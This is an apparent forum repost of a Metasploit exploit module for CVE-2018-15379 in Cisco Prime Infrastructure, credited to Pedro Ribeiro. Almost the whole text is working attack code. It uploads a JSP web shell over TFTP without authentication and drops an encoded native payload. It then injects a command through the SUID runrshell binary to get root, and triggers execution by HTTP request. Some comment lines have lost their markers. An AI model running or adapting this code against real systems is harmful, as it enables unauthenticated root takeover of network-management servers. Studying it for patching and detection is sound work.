关于 Cisco Prime Infrastructure (CPI) 中存在的文件包含和远程代码执行并可以提权到 root 的漏洞详细介绍(CVE-2018-15379)

popular-software
blogs-securiteam-com
08-10-2018

#1

This module requires Metasploit: http://metasploit.com/download

Current source: GitHub - rapid7/metasploit-framework: Metasploit Framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

‘Name’ => ‘Cisco Prime Infrastructure Unauthenticated Remote Code Execution’,

‘Description’ => %q{

Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow

an unauthenticated attacker to achieve remote code execution. The first flaw is a file

upload vulnerability that allows the attacker to upload and execute files as the Apache

Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions

in a SUID binary.

This module exploits these vulnerabilities to achieve unauthenticated remote code execution

as root on the CPI default installation.

This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions

might also be affected, although 3.4.0.0.348 is the latest at the time of writing.

},

‘Author’ =>

[

‘Pedro Ribeiro’ # Vulnerability discovery and Metasploit module

],

‘License’ => MSF_LICENSE,

‘References’ =>

[

[ ‘CVE’, ‘TODO’ ],

[ ‘CVE’, ‘TODO’ ],

[ ‘URL’, ‘TODO’ ],

[ ‘URL’, ‘TODO’ ]

],

‘Platform’ => ‘linux’,

‘Arch’ => [ARCH_X86, ARCH_X64],

‘Targets’ =>

[

[ ‘Cisco Prime Infrastructure’, {} ]

],

‘Privileged’ => true,

‘DefaultOptions’ => { ‘WfsDelay’ => 10 },

‘DefaultTarget’ => 0,

‘DisclosureDate’ => ‘TODO’

))

register_options(

[

OptPort.new(‘RPORT’, [true, ‘The target port’, 443]),

OptPort.new(‘RPORT_TFTP’, [true, ‘TFTPD port’, 69]),

OptBool.new(‘SSL’, [true, ‘Use SSL connection’, true]),

OptString.new(‘TARGETURI’, [ true, “swimtemp path”, ‘/swimtemp’])

])

end

def check

res = send_request_cgi({

‘uri’ => normalize_uri(datastore[‘TARGETURI’], ‘swimtemp’),

‘method’ => ‘GET’

})

if res && res.code == 404 && res.body.length == 0

at the moment this is the best way to detect

a 404 in swimtemp only returns the error code with a body length of 0,

while a 404 to another webapp or to the root returns code plus a body with content

return Exploit::CheckCode::Detected

else

return Exploit::CheckCode::Unknown

end

end

def upload_payload(payload)

lport = datastore[‘LPORT’] || (1025 + rand(0xffff-1025))

lhost = datastore[‘LHOST’] || “0.0.0.0”

remote_file = rand_text_alpha(rand(14) + 5) + ‘.jsp’

tftp_client = Rex::Proto::TFTP::Client.new(

“LocalHost” => lhost,

“LocalPort” => lport,

“PeerHost” => rhost,

“PeerPort” => datastore[‘RPORT_TFTP’],

“LocalFile” => “DATA:#{payload}”,

“RemoteFile” => remote_file,

“Mode” => ‘octet’,

“Context” => {‘Msf’ => self.framework, ‘MsfExploit’ => self},

“Action” => :upload

)

print_status “Uploading TFTP payload to #{rhost}:#{datastore[‘TFTP_PORT’]} as ‘#{remote_file}’”

tftp_client.send_write_request

remote_file

end

def generate_jsp_payload

exe = generate_payload_exe

base64_exe = Rex::Text.encode_base64(exe)

native_payload_name = rand_text_alpha(rand(6)+3)

var_raw = rand_text_alpha(rand(8) + 3)

var_ostream = rand_text_alpha(rand(8) + 3)

var_pstream = rand_text_alpha(rand(8) + 3)

var_buf = rand_text_alpha(rand(8) + 3)

var_decoder = rand_text_alpha(rand(8) + 3)

var_tmp = rand_text_alpha(rand(8) + 3)

var_path = rand_text_alpha(rand(8) + 3)

var_tmp2 = rand_text_alpha(rand(8) + 3)

var_path2 = rand_text_alpha(rand(8) + 3)

var_proc2 = rand_text_alpha(rand(8) + 3)

var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)

chmod = %Q|

Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2});

Thread.sleep(200);

|

var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)

cleanup = %Q|

Thread.sleep(200);

Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2});

|

jsp = %Q|

<%@page import=“java.io.*”%>

<%@page import=“sun.misc.BASE64Decoder”%>

<%

try {

String #{var_buf} = “#{base64_exe}”;

BASE64Decoder #{var_decoder} = new BASE64Decoder();

byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{native_payload_name}", “.bin”);

String #{var_path} = #{var_tmp}.getAbsolutePath();

BufferedOutputStream #{var_ostream} =

new BufferedOutputStream(new FileOutputStream(#{var_path}));

#{var_ostream}.write(#{var_raw});

#{var_ostream}.close();

File #{var_tmp2} = File.createTempFile("#{native_payload_name}", “.sh”);

String #{var_path2} = #{var_tmp2}.getAbsolutePath();

PrintWriter #{var_pstream} =

new PrintWriter(new FileOutputStream(#{var_path2}));

#{var_pstream}.println("!#/bin/sh");

#{var_pstream}.println("/opt/CSCOlumos/bin/runrshell ‘\" && " + #{var_path} + " #’");

#{var_pstream}.close();

#{chmod}

Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2});

#{cleanup}

} catch (Exception e) {

}

%>

|

jsp = jsp.gsub(/\n/, ‘’)

jsp = jsp.gsub(/\t/, ‘’)

jsp = jsp.gsub(/\x0d\x0a/, “”)

jsp = jsp.gsub(/\x0a/, “”)

return jsp

end

def exploit

jsp_payload = generate_jsp_payload

jsp_name = upload_payload(jsp_payload)

we land in /opt/CSCOlumos, so we don’t know the apache directory

as it changes between versions… so leave this commented for now

… and try to find a good way to clean it later

register_files_for_cleanup(jsp_name)

print_status("#{peer} - Executing payload…")

send_request_cgi({

‘uri’ => normalize_uri(datastore[‘TARGETURI’], jsp_name),

‘method’ => ‘GET’

})

handler

end

end

Original links

SSD Advisory – Cisco Prime Infrastructure File Inclusion and Remote Command Execution to Privileges Escalation – SecuriTeam Blogs